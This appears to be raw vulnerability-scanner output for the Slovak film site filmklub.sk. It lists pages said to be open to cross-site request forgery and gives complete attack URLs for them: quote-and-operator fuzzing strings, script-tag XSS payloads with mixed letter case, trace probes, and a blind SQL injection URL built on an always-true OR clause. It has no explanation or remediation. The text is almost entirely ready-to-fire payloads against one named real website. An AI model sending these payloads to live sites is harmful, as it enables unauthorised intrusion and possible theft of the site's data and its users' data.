filmklub.sk

get_xsrf
http://www.filmklub.sk/t/person.php is vulnerable to cross site request forgery.
http://www.filmklub.sk/t/search2.php is vulnerable to cross site request forgery.

generic
http://www.filmklub.sk/t/search2.php?q=
http://www.filmklub.sk/t/person.php?id=
http://www.filmklub.sk/t/search2.php?q=d'kc"z'gj'"%2A%2A5%2A(((%3B-%2A%60)
http://www.filmklub.sk/t/person.php?id=d'kc"z'gj'"%2A%2A5%2A(((%3B-%2A%60)

xss
http://www.filmklub.sk/t/search2.php?q=<ScRIPT>a=/zjdI/%0Afake_alert(a.source)</SCRiPT>
http://www.filmklub.sk/t/search2.php?q=<ScRIpT>fake_alert(String.fromCharCode(w1ae))</SCriPT>

xst
http://www.filmklub.sk/t/?id=43813
http://www.filmklub.sk/t/?q=d'kc"z'gj'"%2A%2A5%2A(((%3B-%2A%60)

blindSQLi
http://www.filmklub.sk/t/search2.php?q=d'kc"z'gj'"%2A%2A5%2A(((%3B-%2A%60)"+OR+"19"="19